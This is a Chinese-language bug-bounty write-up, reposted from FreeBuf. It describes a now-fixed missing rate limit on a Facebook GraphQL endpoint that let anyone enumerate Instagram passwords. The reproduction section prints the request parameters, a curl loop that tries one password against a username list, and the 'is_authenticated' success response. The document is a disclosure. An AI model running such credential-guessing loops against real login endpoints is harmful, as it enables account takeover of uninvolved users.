内容简介:今天分享的这篇Writeup关于速率限制问题(请求次数限制,Rate Limitation),这也是面向公众网站的设计中常常会忽略掉的防护措施,利用速率限制漏洞可以实现对网站注册用户名、密码等账户信息的批量枚举。这里的速率限制漏洞存在于Facebook验证Instagram用户访问某个管理接口的GraphQL请求中,攻击者利用该漏洞可以暴力枚举Instagram注册用户的密码。漏洞最终获得了Facebook官方$3000奖励。在Facebook与Instagram的某项应用交互中,Instagram用户通过
今天分享的这篇Writeup关于速率限制问题(请求次数限制,Rate Limitation),这也是面向公众网站的设计中常常会忽略掉的防护措施,利用速率限制漏洞可以实现对网站注册用户名、密码等账户信息的批量枚举。这里的速率限制漏洞存在于Facebook验证Instagram用户访问某个管理接口的GraphQL请求中,攻击者利用该漏洞可以暴力枚举Instagram注册用户的密码。漏洞最终获得了Facebook官方$3000奖励。
漏洞概况
在Facebook与Instagram的某项应用交互中,Instagram用户通过内置GraphQL请求跳转到某个管理界面,在此期间,Facebook会对用户身份做校验。起初看来,该请求服务端与客户端用户的多个交互请求都是通过用户名username来做身份认证的,然而经测试发现,如果在请求中用不同的用户名和密码组合匹配,都能获取到Instagram后端对密码正确性的有效响应,且无任何速率限制措施,为此,我们可以利用该漏洞,对Instagram用户的密码实施枚举。
漏洞复现
附带以下参数,向接口 https://www.facebook.com/api/graphql 执行POST请求(无需Cookie):
__a=1 doc_id=REDACTED& variables={"data":{"business_id":BUSINESS_ID,"page_id":PAGE_ID,"username":"USERNAME","password":"PASSWORD"}}
其中的BUSINESS_ID 和 PAGE_ID都是代表事务处理和页面调用的随机id数, USERNAME为目标Instagram账户的用户名,PASSWORD为我们要枚举测试的密码字段。接下来,用curl方式,选定一个密码(这里以23456为例)匹配用户名字典USER_LIST,对上述Facebook接口发起请求:
while read user; do curl -k -i -X POST <a href="https://www.facebook.com/api/graphql/">https://www.facebook.com/api/graphql/</a> -H 'Content-Type: application/x-www-form-urlencoded' -d "__a=1&doc_id=REDACTED&variables={\"data\":{\"business_id\":RANDOM,\"page_id\":RANDOM,\"username\":\"$user\",\"password\":\"123456\"}}";done < USER_LIST
如果最终的密码和用户名组合在上述接口的校验过程中成功,则Facebook后端会返回以下有效响应信息:
( "cm_ig_authentication": { "is_authenticated": true } )
漏洞影响
由于在上述接口请求中无速率限制措施(客户端用户的请求次数限制),因此利用上述请求,恶意攻击者可以构建大规模Instagram用户字典,通过不同的密码匹配,实施对任意Instagram用户的密码猜解枚举。
漏洞修复
Facebook在上述接口请求中,对“username” 和 “password”字段加入了速率限制措施。
漏洞上报和处理进程
2020.2.4 — 漏洞初报 2020.2.11 — Facebook确认漏洞 2020.3.9 — Facebook修复漏洞 2020.3.10 — Facebook奖励$3000
*参考来源: ysamm ,clouds 编译整理,转载请注明来自 FreeBuf.COM
以上所述就是小编给大家介绍的《挖洞经验 | 缺乏速率限制(Rate Limitation)导致的Instagram账户密码枚举》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- c# – 枚举时项目发生变化时是否会影响枚举?
- 挖洞姿势:浅析命令注入漏洞
- 测者的测试技术手册:Junit单元测试遇见的一个枚举类型的坑(枚举类型详解)
- 挖洞经验 | Vine用户隐私信息泄露漏洞($7560)
- 挖洞经验 | 雅虎(Yahoo)的速率限制漏洞($2k)
- 测者的JUnit单元测试探坑记:Junit单元测试遇见的一个枚举类型的坑(枚举类型详解)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Spark大数据分析技术与实战
董轶群、曹正凤、赵仁乾、王安 / 电子工业出版社 / 2017-7 / 59.00
Spark作为下一代大数据处理引擎,经过短短几年的飞跃式发展,正在以燎原之势席卷业界,现已成为大数据产业中的一股中坚力量。 《Spark大数据分析技术与实战》着重讲解了Spark内核、Spark GraphX、Spark SQL、Spark Streaming和Spark MLlib的核心概念与理论框架,并提供了相应的示例与解析。 《Spark大数据分析技术与实战》共分为8章,其中前4......一起来看看 《Spark大数据分析技术与实战》 这本书的介绍吧!